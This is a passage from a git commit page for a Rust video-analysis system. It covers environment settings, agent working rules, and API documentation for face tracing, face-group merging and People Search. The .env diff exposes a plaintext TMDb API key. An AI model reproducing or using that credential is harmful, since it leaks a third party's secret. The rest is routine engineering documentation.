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fix: face group name read consistency, sync_file_status fix, cleanup ghost records, identity_agent replaced with face_dedup

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- get_face_groups_handler: COALESCE(tp.name, tn.label) for name consistency
- sync_file_status: compare JSON vs pre_chunks (not chunk table)
- face consistency: compare frames.len() not total_faces
- cleanup 2 ghost records with NULL file_name/file_path
- replace identity_agent with face_dedup in pipeline stages
- remove identity_agent_api.rs and all references
- update required_processors to match actual processors
- update AGENTS.md with team responsibilities
- add Studio pipeline changes documentation
This commit is contained in:
Accusys
2026-07-27 02:15:51 +08:00
parent fcdeab82e6
commit 39a2cbc65b
118 changed files with 19386 additions and 2964 deletions
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.env.development
+12 -11
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@@ -72,19 +72,20 @@ REDIS_CACHE_TTL_VIDEO_META=3600
# TMDb Integration (probe phase - auto-create identities from movie metadata)
TMDB_API_KEY=e9cde52197f6f8df4d9db99da93db1fb
MOMENTRY_TMDB_PROBE_ENABLED=true
# LLM for 5W1H summary (points to M5 Gemma4)
MOMENTRY_LLM_SUMMARY_URL=http://127.0.0.1:8000/v1/chat/completions
MOMENTRY_LLM_SUMMARY_MODEL=gemma-4-E4B
# LLM Configuration
# Agent Search uses Ollama (llama3.1:8b) - OpenAI-compatible endpoint
MOMENTRY_LLM_CHAT_URL=http://localhost:11434/v1/chat/completions
MOMENTRY_LLM_CHAT_MODEL=llama3.1:8b
# VLM uses llama.cpp (llava-v1.6-vicuna-13b)
MOMENTRY_LLM_VISION_URL=http://localhost:8091/v1/chat/completions
MOMENTRY_LLM_VISION_MODEL=llava-v1.6-vicuna-13b
# Summary LLM uses Ollama
MOMENTRY_LLM_SUMMARY_URL=http://localhost:11434/v1/chat/completions
MOMENTRY_LLM_SUMMARY_MODEL=llama3.1:8b
MOMENTRY_LLM_SUMMARY_ENABLED=true
# LLM Chat (E4B on port 8000)
MOMENTRY_LLM_CHAT_URL=http://127.0.0.1:8000/v1/chat/completions
MOMENTRY_LLM_CHAT_MODEL=gemma-4-E4B
# LLM Vision (E4B on port 8000)
MOMENTRY_LLM_VISION_URL=http://127.0.0.1:8000/v1/chat/completions
MOMENTRY_LLM_VISION_MODEL=gemma-4-E4B
# Embedding (ANE CoreML server)
MOMENTRY_EMBED_URL=http://localhost:11436
AGENTS.md
+92 -9
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@@ -19,19 +19,29 @@ Rust-based digital asset management system with video analysis and RAG capabilit
### 開發範圍界定
| 範圍 | 狀態 | 說明 |
|------|------|------|
| `momentry_core_0.1/` | ✅ **可開發** | Momentry Core 主要開發目錄 |
| `momentry_core_0.1/portal/` | ✅ **可開發** | Tauri Portal 前端 |
| `momentry_core_0.1/src/` | ✅ **可開發** | Rust 後端程式碼 |
| `/Users/accusys/wordpress/` | ❌ **禁止修改** | WordPress/Marcom 團隊負責 |
| `~/momentry_core/` | ✅ **可開發** | Momentry Core 後端（Rust），Core team 負責 |
| `~/momentry_core/portal/` | ⚠️ **僅供測試** | Tauri Portal 僅用於測試，非正式前端 |
| `~/momentry_studio/` | ❌ **禁止修改** | Momentry Studio 前端，**Studio team 負責** |
| `/Users/accusys/wordpress/` | ❌ **禁止修改** | WordPress 網站僅供參考，已被 Studio 取代 |
| n8n 工作流 | ❌ **禁止修改** | 自動化流程，與 dev 無關 |
| WordPress/n8n 資料庫 table | ❌ **禁止修改** | Marcom 團隊管理，與 dev 無關 |
### 團隊職責劃分
| 團隊 | 負責專案 | 目錄 |
|------|---------|------|
| **Core team** | Momentry Core 後端 | `~/momentry_core/` |
| **Studio team** | Momentry Studio 前端 | `~/momentry_studio/` |
| **Marcom team** | WordPress 網站（已停用） | `/Users/accusys/wordpress/` |
### 開發環境
| 服務 | Port | 用途 | 命令 |
|------|------|------|------|
| Playground | 3003 | **唯一開發環境** | `cargo run --bin momentry_playground -- server` |
| Production | 3002 | ❌ 禁止修改 | `cargo run -- server` (僅 release 時) |
| Portal (Tauri) | 1420 | 前端開發 | `npm run tauri dev` |
| 服務 | Port | 用途 | 命令 | 狀態 |
|------|------|------|------|------|
| Playground | 3003 | ~~開發環境~~ (暫停) | `cargo run --bin momentry_playground -- server` | 🔴 已暫停 (節省 memory) |
| Production | 3002 | **開發 + 生產環境** | `cargo run -- server` | 🟢 運行中 (debug binary) |
| Portal (Tauri) | 1420 | 前端開發 | `npm run tauri dev` | - |
> **注意 (2026-07-25)**: Playground (3003) 已暫停服務。Production (3002) 改為直接用於開發測試。新功能可直接部署至 3002。
> **注意 (2026-07-23)**: 為節省記憶體，Playground (3003) 已關閉。Production (3002) 目前使用 debug binary 運行（已套用 smart_search 修復）。正式 release 時需重新 build release binary。
### 日誌與啟動
| 服務 | 日誌路徑 | 啟動方式 |
@@ -234,6 +244,77 @@ grep -i "error\|panic\|FAIL" logs/momentry_*.log | tail -20
| `momentry_playground` | Development | 3003 | `momentry_dev:` | `.env.development` |
| `momentry_player` | Video player | - | - | - |
## LLM Services
### 環境一致性原則
**生產環境 (port 3002) 與 Playground (port 3003) 使用相同的 LLM/VLM/Embedding 服務。**
### LLM Configuration
| 用途 | Model | 服務 | Port | API 格式 |
|------|-------|------|------|----------|
| **Agent Search** | `llama3.1:8b` | Ollama | 11434 | `/v1/chat/completions` |
| **VLM（視覺）** | `llava-v1.6-vicuna-13b` | llama.cpp | 8091 | `/v1/chat/completions` |
| **Embedding** | `embeddinggemma-300m` | Python | 11436 | Custom |
### Model 檔案位置
```
/Users/accusys/models/
├── llava-v1.6-vicuna-13b.Q4_K_M.gguf (VLM model)
├── mmproj-model-f16.gguf (VLM mmproj)
├── embeddinggemma-300M-Q8_0.gguf (Embedding model)
├── gemma-4-E4B-it-Q4_K_M.gguf (Text LLM)
└── google_gemma-4-26B-A4B-it-Q5_K_M.gguf (Text LLM)
```
### 啟動命令
**Ollama (llama3.1:8b)**
```bash
ollama serve # Service
ollama run llama3.1:8b # Interactive
curl http://localhost:11434/api/chat # API endpoint
```
**llama.cpp (llava-v1.6-vicuna-13b)**
```bash
/Users/accusys/llama/bin/llama-server \
-m /Users/accusys/models/llava-v1.6-vicuna-13b.Q4_K_M.gguf \
--mmproj /Users/accusys/models/mmproj-model-f16.gguf \
--host 0.0.0.0 \
--port 8091 \
-ngl 99 \
-c 4096
```
**Embedding (embeddinggemma-300m)**
```bash
python3 scripts/embeddinggemma_server.py --port 11436
```
### VLM 用途
- **Face trace VLM**: 描述人物外貌（衣著、顏色、配件）
- **Scene VLM**: 場景分析
- **Agent `analyze_frame`**: 畫面分析工具
### Agent Search 語言
- **預設使用英文回答**（除非用戶明確要求其他語言）
- System prompt 已明確規範 LLM 必須使用英文回應
### 環境變數
```bash
# .env.development
MOMENTRY_LLM_CHAT_URL=http://localhost:11434/api/chat
MOMENTRY_LLM_CHAT_MODEL=llama3.1:8b
MOMENTRY_LLM_VISION_URL=http://localhost:8091/v1/chat/completions
MOMENTRY_LLM_VISION_MODEL=llava-v1.6-vicuna-13b
```
## Testing
```bash
@@ -272,6 +353,8 @@ cargo check --all-features
- Use Rust 2021 edition
- Use tracing for logging (not println!)
- Keep lines under 100 characters
- **Always provide absolute paths when referencing files** — use full paths like `/Users/accusys/momentry_core/src/main.rs` instead of relative paths like `src/main.rs`
- **All document references MUST include full paths** — when listing files to modify, API endpoints, or cross-references in docs, always use absolute paths (e.g., `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md`)
### Imports (order: std → external → local)
```rust
docs_v1.0/API_WORKSPACE/modules/05_process.md
+24 -5
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@@ -145,11 +145,30 @@ Get real-time processing progress for a file via Redis pub/sub. Includes per-pro
| 3 | `asrx` | asr | Speaker diarization |
| 4 | `yolo` | — | Object detection |
| 5 | `ocr` | — | Text recognition |
| 6 | `face` | — | Face detection & embedding |
| 7 | `pose` | — | Pose estimation |
| 8 | `visual_chunk` | yolo | Visual scene chunks |
| 9 | `story` | asr, asrx, cut, yolo, face | Scene summaries (template) |
| 10 | `5w1h` | story | 5W1H analysis (Gemma4 LLM) |
| 6 | `face` | — | Face detection & embedding (8Hz sampling) |
| 7 | `face_trace` | face | Face tracking (IoU + embedding, assigns trace_id) |
| 8 | `pose` | face_trace | Pose expansion from face traces, inherits trace_id |
| 9 | `appearance` | pose | Appearance expansion from pose traces, inherits trace_id |
**Key Concepts:**
- **Face** = Identity anchor (who is this person?) — requires high-quality embedding
- **Pose** = Tracking (where is this person?) — extends tracking when face is occluded
- **Appearance** = Tracking (what do they look like?) — extends tracking when pose is occluded
**Trace ID Inheritance:**
```
Face trace (identity anchor)
↓ inherits trace_id
Pose expansion (tracking continuity)
↓ inherits trace_id
Appearance expansion (tracking continuity)
```
**Frame Count Relationship:**
```
face frames ≤ pose frames ≤ appearance frames
```
(Each level expands outward from the previous level's traces)
All processors except `story` and `5w1h` run concurrently when their dependencies are met. Story and 5W1H run sequentially after their prerequisites.
docs_v1.0/API_WORKSPACE/modules/10_pipeline.md
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@@ -120,7 +120,7 @@ The following routes are defined in source code but are **NOT** currently mounte
| Endpoint | Source file |
|----------|-------------|
| `/api/v1/search/persons` | `universal_search.rs` (not mounted) |
| `/api/v1/search/people` | `universal_search.rs` (mounted) |
| `/api/v1/who` | `who.rs` |
| `/api/v1/who/candidates` | `who.rs` |
docs_v1.0/API_WORKSPACE/modules/18_profile.md
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@@ -6,6 +6,68 @@
Endpoints for managing trace profiles (face track metadata stored in TKG) and file profiles (video metadata stored in PostgreSQL).
---
## Terminology
### Core Concepts
| Term | Definition | Identifier | Display Format |
|------|------------|------------|----------------|
| **Face** | A single human face detection on one frame | `face_id` | Usually not displayed |
| **Face Sequence (Trace)** | A collection of faces across multiple frames representing the same person | `trace_id` | `FS#233` |
| **Face Group** | A collection of traces sharing the same name/label | `label` (string) | `"Person A"` |
### Data Model Hierarchy
```
Video
└── Frame (F#233, F#234, ...) ← Single frame number
└── Face ← Single detection (bbox + confidence)
└── Face Sequence / Trace ← Same person across frames (FS#233)
└── Face Group ← Multiple traces with same name
```
### Example
```
Video: "interview.mp4"
├── Frame F#100
│ └── Face (bbox: {100, 200, 50, 50}, confidence: 0.95)
├── Frame F#105
│ └── Face (bbox: {110, 205, 48, 48}, confidence: 0.92)
├── Frame F#110
│ └── Face (bbox: {115, 210, 52, 52}, confidence: 0.88)
...
Face Sequence FS#233 = [Face@F#100, Face@F#105, Face@F#110, ...]
↓
Face Group "Person A" = [FS#233, FS#234, FS#235]
```
### Storage
| Entity | Storage | Table/Collection |
|--------|---------|------------------|
| Face | Qdrant | `_faces` collection |
| Face Sequence / Trace | PostgreSQL (TKG) | `tkg_nodes` where `node_type='face_track'` |
| Face Group | PostgreSQL (TKG) | `tkg_nodes.label` field |
### Operations
| Operation | Level | API |
|-----------|-------|-----|
| View faces | Face | Internal (embedded in trace data) |
| Merge traces | Trace | `POST /api/v1/trace/:file_uuid/merge` |
| Rename group | Group | `PUT /api/v1/trace-profile/group` |
| Merge groups | Group | `POST /api/v1/file/:file_uuid/groups/merge` |
### Naming Convention
- **Frame**: `F#{number}` — e.g., `F#233`
- **Face Sequence / Trace**: `FS#{number}` — e.g., `FS#233`
- **Face Group**: String name — e.g., `"Person A"`, `"Speaker 1"`
### `GET /api/v1/trace-profile`
**Auth**: Required
@@ -158,6 +220,151 @@ curl -s -X PUT "$API/api/v1/trace-profile/group" \
---
### `POST /api/v1/file/:file_uuid/groups/merge`
**Auth**: Required
**Scope**: file-level
Merge multiple face groups into one target group. All traces from source groups are reassigned to the target group name.
#### Request Body
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `file_uuid` | string | Yes | File UUID |
| `source_groups` | string[] | Yes | List of group names to merge from |
| `target_group_name` | string | Yes | Target group name to merge into |
#### Examples
**Merge 2 groups**:
```bash
curl -s -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{
"file_uuid": "c36f35685177c981aa139b66bbbccc5b",
"source_groups": ["Person A"],
"target_group_name": "Person B"
}'
```
**Merge 4 groups**:
```bash
curl -s -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{
"file_uuid": "c36f35685177c981aa139b66bbbccc5b",
"source_groups": ["Person A", "Person C", "Person D"],
"target_group_name": "Person B"
}'
```
#### Response (200)
```json
{
"success": true,
"file_uuid": "c36f35685177c981aa139b66bbbccc5b",
"source_groups": ["Person A", "Person C", "Person D"],
"target_group_name": "Person B",
"traces_merged": 12,
"message": "Merged 3 group(s) into 'Person B'"
}
```
#### Error Responses
| HTTP | Condition |
|------|-----------|
| `400` | Target group in source_groups list |
| `400` | Empty source_groups array |
| `500` | Database error |
#### Behavior
1. Find all traces with `label IN (source_groups)`
2. Update their labels to `target_group_name`
3. All source groups disappear (no traces left)
4. Target group contains all traces from merged groups
---
### Merging Groups: Two Methods
#### Method 1: Use Merge Groups API (Recommended)
```bash
POST /api/v1/file/:file_uuid/groups/merge
{
"file_uuid": "...",
"source_groups": ["Person A", "Person C"],
"target_group_name": "Person B"
}
```
**Pros**: Simple, only requires group names, supports multi-group merge
**Cons**: New API (requires backend update)
#### Method 2: Use Batch Update API (Existing)
```bash
PUT /api/v1/trace-profile/group
{
"file_uuid": "...",
"trace_ids": [13, 14, 15, 43, 44],
"name": "Person B"
}
```
**Pros**: Works with existing API
**Cons**: Frontend must collect all trace_ids from both groups
#### Example: Merge Group A and C into Group B
**Before**:
```
Group A: [13, 14, 15]
Group B: [43, 44]
Group C: [67, 68]
```
**Method 1 (Recommended)**:
```bash
curl -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{
"file_uuid": "c36f35685177c981aa139b66bbbccc5b",
"source_groups": ["Person A", "Person C"],
"target_group_name": "Person B"
}'
```
**Method 2 (Existing API)**:
```bash
curl -X PUT "$API/api/v1/trace-profile/group" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{
"file_uuid": "c36f35685177c981aa139b66bbbccc5b",
"trace_ids": [13, 14, 15, 43, 44, 67, 68],
"name": "Person B"
}'
```
**After**:
```
Group A: [] (disappeared)
Group B: [43, 44, 13, 14, 15, 67, 68]
Group C: [] (disappeared)
```
---
### `GET /api/v1/file-profile`
**Auth**: Required
@@ -264,5 +471,6 @@ curl -s -X PUT "$API/api/v1/file-profile" \
| `aliases` | `properties->'aliases'` | Multi-language name aliases |
---
*Updated: 2026-07-25 — Added Merge Groups API (POST /groups/merge), added Terminology section (Face, Face Sequence, Face Group)*
*Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query*
*Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)*
docs_v1.0/API_WORKSPACE/modules/19_people_api.md
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# People API
**Version**: 2.0
**Date**: 2026-07-26
**Base URL**: `http://localhost:3002`
**Auth**: Requires API key header (`Authorization: Bearer <api_key>`)
**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md`
---
## 資料架構
### trace_profiles（PostgreSQL — People Search 專用）
每筆 `file_uuid + trace_id` 對應一個 face trace profile：
| 欄位 | 類型 | 說明 |
|------|------|------|
| `file_uuid` | string | 影片 UUID |
| `trace_id` | integer | Face trace ID（8Hz 取樣追蹤） |
| `name` | string | FS name（Face 頁面顯示 + People Search 搜尋） |
| `start_frame` | integer | 起始 frame |
| `end_frame` | integer | 結束 frame |
| `frame_count` | integer | 追蹤 frame 數（8Hz 取樣，多數 > 1） |
| `key_frame` | string | 關鍵幀圖片路徑 |
| `key_face` | string | 關鍵人臉裁切路徑 |
| `avg_confidence` | float | 平均偵測信心值 |
| `status` | string | 狀態（pending/confirmed） |
### 可搜尋註記（metadata / VLM 欄位）
`trace_profiles` 包含 VLM 產生的註記，可用於進階搜尋和統計：
| 欄位 | 類型 | 說明 |
|------|------|------|
| `vlm_description` | text | VLM 人物外貌描述 |
| `vlm_clothing` | text | VLM 衣著描述 |
| `vlm_tags` | text[] | VLM 標籤陣列 |
| `vlm_location` | string | VLM 地點 |
| `vlm_setting` | string | VLM 場景設定 |
| `vlm_lighting` | string | VLM 光線 |
| `vlm_weather` | string | VLM 天氣 |
| `vlm_background` | text | VLM 背景描述 |
| `vlm_bg_tags` | text[] | VLM 背景標籤 |
### tkg_nodes（PostgreSQL — TKG 圖譜專用，與 profile 獨立）
| 欄位 | 說明 |
|------|------|
| `external_id` | 如 "trace_9"，對應 `trace_profiles.trace_id` |
| `label` | TKG 圖譜節點標籤（與 `trace_profiles.name` 獨立） |
| `properties` | TKG 節點屬性 |
### _faces（Qdrant — Face 向量比對）
Face embedding 向量存在 Qdrant `_faces` collection，可用作 seed 比對：
| Payload 欄位 | 類型 | 說明 |
|-------------|------|------|
| `file_uuid` | string | 影片 UUID |
| `trace_id` | integer | Face trace ID |
| `identity_id` | integer \| null | 已綁定的 identity ID |
| `frame` | integer | Frame 編號 |
| `embedding` | vector[512] | FaceNet 512-d embedding |
| `bbox` | object | 人臉 bbox（x, y, width, height） |
| `confidence` | float | 偵測信心值 |
---
## 1. GET /api/v1/search/people
搜尋已命名的 face trace profiles。回傳符合 name 的卡片列表。
### Query Parameters
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `query` | string | ✅ Yes | 搜尋關鍵字（ILIKE 模糊比對 `trace_profiles.name`） |
| `file_uuid` | string | ❌ Optional | 限制搜尋範圍 |
| `limit` | integer | ❌ Optional | 回傳筆數上限（預設 10） |
### Example Request
```bash
# 搜尋名字
curl -X GET "http://localhost:3002/api/v1/search/people?query=Susan"
# 搜尋 VLM 註記（衣著、地點、標籤）
curl -X GET "http://localhost:3002/api/v1/search/people?query=blue+shirt"
# 限定影片
curl -X GET "http://localhost:3002/api/v1/search/people?file_uuid=abc123&query=Tom"
```
### 搜尋範圍
People Search 會搜尋以下欄位（ILIKE 模糊比對）：
| 欄位 | 說明 |
|------|------|
| `name` | FS name |
| `vlm_description` | VLM 人物外貌描述 |
| `vlm_clothing` | VLM 衣著描述 |
| `vlm_tags` | VLM 標籤陣列 |
| `vlm_location` | VLM 地點 |
| `vlm_setting` | VLM 場景設定 |
### Response
```json
{
"people": [
{
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"file_name": "",
"trace_id": 9,
"external_id": "trace_9",
"name": "Susan",
"start_frame": 118,
"end_frame": 384,
"frame_count": 39,
"start_time": null,
"end_time": null,
"key_frame": "key_frame.jpg",
"key_face": null,
"avg_confidence": 0.694
}
],
"total": 18
}
```
### Response Fields
| Field | Type | Description |
|-------|------|-------------|
| `file_uuid` | string | 影片 UUID |
| `trace_id` | integer | Face trace ID |
| `external_id` | string \| null | TKG node external_id（如 "trace_9"） |
| `name` | string \| null | 使用者命名的 FS name |
| `start_frame` | integer \| null | 起始 frame |
| `end_frame` | integer \| null | 結束 frame |
| `frame_count` | integer \| null | 追蹤 frame 數（8Hz 取樣） |
| `start_time` | float \| null | 起始時間（秒） |
| `end_time` | float \| null | 結束時間（秒） |
| `key_frame` | string \| null | 關鍵幀圖片路徑 |
| `key_face` | string \| null | 關鍵人臉裁切路徑 |
| `avg_confidence` | float \| null | 平均偵測信心值 |
---
## 2. POST /api/v1/search/universal
統一搜尋。設定 `types: ["people"]` 搜尋人物，或組合 `"chunk"`、`"frame"`。
People Search 會搜尋 `trace_profiles` 的 `name` + `vlm_*` 欄位：
- `name` — FS name
- `vlm_description` — VLM 人物外貌描述
- `vlm_clothing` — VLM 衣著描述
- `vlm_tags` — VLM 標籤陣列
- `vlm_location` — VLM 地點
- `vlm_setting` — VLM 場景設定
### Request Body
```json
{
"query": "Susan",
"file_uuid": "abc123",
"types": ["people"],
"page": 1,
"page_size": 20
}
```
### Request Fields
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `query` | string | ✅ Yes | 搜尋關鍵字 |
| `file_uuid` | string | ❌ Optional | 限制搜尋範圍 |
| `types` | string[] | ❌ Optional | `["chunk", "frame", "people"]` — 預設全部 |
| `page` | integer | ❌ Optional | 頁碼（預設 1） |
| `page_size` | integer | ❌ Optional | 每頁筆數（預設 20，最大 200） |
### Response
```json
{
"query": "Susan",
"results": [
{
"type": "person",
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"trace_id": 9,
"external_id": "trace_9",
"name": "Susan",
"frame_count": 39,
"score": 0.95,
"start_time": null,
"end_time": null,
"key_frame": "key_frame.jpg",
"key_face": null
}
],
"total": 18,
"page": 1,
"page_size": 20,
"has_more": false
}
```
---
## 3. PUT /api/v1/trace-profile（單筆改名）
更新單一 face trace profile 的 name 和 metadata。
### Request Body
```json
{
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"trace_id": 9,
"name": "Susan",
"properties": { "custom_key": "custom_value" },
"key_frame": "path/to/key_frame.jpg",
"key_face": "path/to/key_face.jpg",
"aliases": ["Susie", "Sue"]
}
```
### Request Fields
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `file_uuid` | string | ✅ Yes | 影片 UUID |
| `trace_id` | integer | ✅ Yes | Face trace ID |
| `name` | string | ❌ Optional | 新的 FS name |
| `properties` | object | ❌ Optional | 自訂屬性（合併更新） |
| `key_frame` | string | ❌ Optional | 關鍵幀路徑 |
| `key_face` | string | ❌ Optional | 關鍵人臉路徑 |
| `aliases` | string[] | ❌ Optional | 別名列表 |
---
## 4. PUT /api/v1/trace-profile/group（批次改名）
批次更新多個 face trace profiles 的 name。
### Request Body
```json
{
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"trace_ids": [9, 22, 5],
"name": "Susan"
}
```
---
## 5. POST /api/v1/groups/merge（合併群組）
將多個 group 的 traces 合併為一個 group name。
### Request Body
```json
{
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"source_groups": ["Person_0", "Person_1"],
"target_group_name": "Susan"
}
```
---
## Error Responses
### 400 Bad Request
```json
{ "error": "name is required" }
```
### 401 Unauthorized
```
HTTP 401 (no body) — Missing or invalid API key
```
### 404 Not Found
```json
{ "error": "Profile not found" }
```
### 500 Internal Server Error
```json
{ "error": "DB error: connection refused" }
```
---
## 如何命名 Face Trace
使用 profile API 為 face trace 命名：
```bash
curl -X PUT "http://localhost:3002/api/v1/trace-profile" \
-H "Authorization: Bearer <api_key>" \
-H "Content-Type: application/json" \
-d '{
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"trace_id": 9,
"name": "Susan"
}'
```
命名後即可透過 People Search API 搜尋：
```bash
curl "http://localhost:3002/api/v1/search/people?query=Susan" \
-H "Authorization: Bearer <api_key>"
```
---
## Pipeline 狀態定義
所有檔案的 status 由 `/api/v1/file/{file_uuid}/sync-status` 自動更新，依據 processor outputs 和功能就緒狀態判定。
| Status | 前端顯示 | 條件 | 啟用功能 |
|--------|---------|------|---------|
| `registered` | 📋 已註冊 | 0 processor outputs | 檔案註冊 |
| `scanning` | 🔍 掃描中 | 1-4/5 processor outputs | — |
| `keyword_ready` | 🔎 關鍵字可用 | sentence chunks > 0 | Smart Search |
| `semantic_ready` | 🧠 語意可用 | embedded chunks > 0 | Semantic Search |
| `face_mgmt_ready` | 🎭 臉部管理可用 | face_trace + trace_profiles + tkg_nodes(face_track) | People Search, Face Profile 讀寫, Face Group |
| `agent_ready` | 🤖 Agent 可用 | face_mgmt_ready + tkg_edges | Agent TKG Tools |
| `completed` | ✅ 完成 | 5/5 processors + 全部功能就緒 | — |
### Face Management Ready 明確定義
`face_mgmt_ready` 表示檔案已具備完整臉部管理功能，需同時滿足以下四個條件：
| 依賴項 | 檢查條件 | 說明 | 提供功能 |
|--------|---------|------|---------|
| **Face Qdrant Ready** | `_faces` collection 有 face points | Face embeddings 已存入 Qdrant | 臉部比對、相似度搜尋 |
| **Face Trace Ready** | `face_traced.json` 存在且有 traces | Face tracking 已完成 | 人臉軌跡資料 |
| **Face Profile Ready** | `trace_profiles` 有紀錄 | Profile 資料已建立 | 名字、VLM 註記、key_frame/key_face |
| **Face TKG Node Ready** | `tkg_nodes` 有 `face_track` nodes | TKG 圖譜節點已建立 | 臉部群組合併、關係查詢 |
#### 檢查 SQL
```sql
-- Face Qdrant Ready
SELECT COUNT(*) FROM _faces WHERE file_uuid = $1; -- > 0
-- Face Trace Ready
-- 檢查 face_traced.json 檔案存在且有 traces
-- Face Profile Ready
SELECT COUNT(*) FROM trace_profiles WHERE file_uuid = $1; -- > 0
-- Face TKG Node Ready
SELECT COUNT(*) FROM tkg_nodes WHERE file_uuid = $1 AND node_type = 'face_track'; -- > 0
```
#### 啟用功能清單
| 功能 | API Endpoint | 說明 |
|------|-------------|------|
| People Search | `GET /api/v1/search/people` | 搜尋已命名人臉 |
| Face Profile 讀寫 | `PUT /api/v1/trace-profile` | 更新名字、VLM 註記 |
| Face Group 合併 | `POST /api/v1/groups/merge` | 合併多個群組 |
| Face Trace 改名 | `PUT /api/v1/trace-profile` | 為單個 trace 命名 |
| Agent Face Search | Agent Tool: `face_profile_search` | Agent 搜尋人臉 |
---
### 狀態依賴關係
```
registered → scanning → keyword_ready → semantic_ready
↓
face_mgmt_ready → agent_ready → completed
```
### 每個階段對應的 Processor
| 階段 | 必要 Processor | 產出 |
|------|---------------|------|
| `keyword_ready` | ASR, ASRX | sentence chunks |
| `semantic_ready` | keyword_ready + Vectorize | embedded chunks |
| `face_mgmt_ready` | Face, FaceCluster | trace_profiles (People Search + Face Management) |
| `agent_ready` | face_mgmt_ready + TKG Edges | tkg_edges |
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# Studio Team API 變更指南
**Version**: 1.0
**Date**: 2026-07-26
**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md`
**目標**: 通知 Studio team 後端 API 狀態欄位變更，Momentry Studio 前端需配合更新
---
## 1. 概述
後端已將檔案狀態從技術術語改為**功能導向**名稱。Studio team 的 `~/momentry_studio/` 前端顯示邏輯需要更新。
**影響範圍：**
- 後端 API：`/Users/accusys/momentry_core/src/api/files.rs`（Core team 已修改）
- Studio 前端：`~/momentry_studio/`（需 Studio team 更新）
---
## 2. 團隊職責
| 團隊 | 負責專案 | 目錄 |
|------|---------|------|
| **Core team** | Momentry Core 後端 | `~/momentry_core/` |
| **Studio team** | Momentry Studio 前端 | `~/momentry_studio/` |
| **Marcom team** | WordPress 網站 | `/Users/accusys/wordpress/` |
---
## 3. API 變更
### `/api/v1/file/{file_uuid}/sync-status` 回傳格式
**POST** `/api/v1/file/{file_uuid}/sync-status`
```json
{
"success": true,
"file_uuid": "4655a0ab3c077e30c12b2298c2750650",
"status": "face_mgmt_ready",
"processors_complete": 4,
"processors_total": 5,
"worker": {
"has_job": true,
"job_status": "pending",
"current_processor": null,
"progress_total": 7,
"progress_current": 7,
"completed_processors": ["cut", "asr", "face", "ocr", "pose", "asrx", "face_cluster"],
"failed_processors": [],
"updated_at": "2026-07-24T21:26:06"
}
}
```
**無 job 的檔案：**
```json
{
"success": true,
"file_uuid": "...",
"status": "registered",
"processors_complete": 0,
"processors_total": 5,
"worker": {
"has_job": false
}
}
```
### Worker 狀態說明
| 欄位 | 說明 |
|------|------|
| `has_job` | 是否有 monitor_job 紀錄 |
| `job_status` | pending / running / completed / failed |
| `current_processor` | 目前正在執行的 processor |
| `progress_total` | 總 processor 數量 |
| `progress_current` | 已完成的 processor 數量 |
| `completed_processors` | 已完成的 processor 列表 |
| `failed_processors` | 失敗的 processor 列表 |
| `updated_at` | 最後更新時間 |
### 使用者可區分的情境
| 情境 | `job_status` | `current_processor` | 顯示建議 |
|------|-------------|-------------------|---------|
| **正在處理** | `running` | `face` | 🔄 正在執行 Face |
| **排隊等待** | `pending` | `null` | ⏳ 等待處理 |
| **已完成** | `completed` | `null` | ✅ Processor 完成 |
| **處理失敗** | `failed` | `face` | ❌ Face 失敗 |
| **從未提交** | `has_job=false` | - | 📋 僅註冊 |
### 新狀態清單
| Status | 中文顯示 | 圖示 | 說明 |
|--------|---------|------|------|
| `registered` | 已註冊 | 📋 | 0 processor outputs |
| `scanning` | 掃描中 | 🔍 | 1-4/5 processor outputs |
| `keyword_ready` | 關鍵字可用 | 🔎 | sentence chunks > 0 |
| `semantic_ready` | 語意可用 | 🧠 | embedded chunks > 0 |
| `face_mgmt_ready` | 臉部管理可用 | 🎭 | trace_profiles + tkg_nodes > 0 |
| `agent_ready` | Agent 可用 | 🤖 | tkg_edges > 0 |
| `completed` | 已完成 | ✅ | 全部就緒 |
### 已移除的舊狀態
| 舊狀態 | 新狀態 |
|--------|--------|
| `pending` | `registered` |
| `processing` | `scanning` |
---
## 4. Studio 前端需修改項目
### 4.1 狀態顯示邏輯
**位置：** `~/momentry_studio/` 中處理檔案狀態顯示的元件
**修改前：**
```javascript
switch (file.status) {
case 'completed': return '✅ 已完成';
case 'processing': return '🔄 處理中';
case 'pending': return '⏳ 待處理';
default: return '📦 未註冊';
}
```
**修改後：**
```javascript
const statusMap = {
completed: { label: '已完成', icon: '✅', color: 'green' },
agent_ready: { label: 'Agent 可用', icon: '🤖', color: 'orange' },
face_mgmt_ready: { label: '臉部管理可用', icon: '🎭', color: 'cyan' },
semantic_ready: { label: '語意可用', icon: '🧠', color: 'purple' },
keyword_ready: { label: '關鍵字可用', icon: '🔎', color: 'green' },
scanning: { label: '掃描中', icon: '🔍', color: 'blue' },
registered: { label: '已註冊', icon: '📋', color: 'gray' },
};
const display = statusMap[file.status] || { label: '未註冊', icon: '📦', color: 'gray' };
return `${display.icon} ${display.label}`;
```
### 4.2 狀態過濾選項
**位置：** `~/momentry_studio/` 中檔案列表過濾元件
**移除：** `pending`, `processing`
**新增：** `registered`, `scanning`, `keyword_ready`, `semantic_ready`, `face_mgmt_ready`, `agent_ready`
---
## 5. Face Management Ready 明確定義
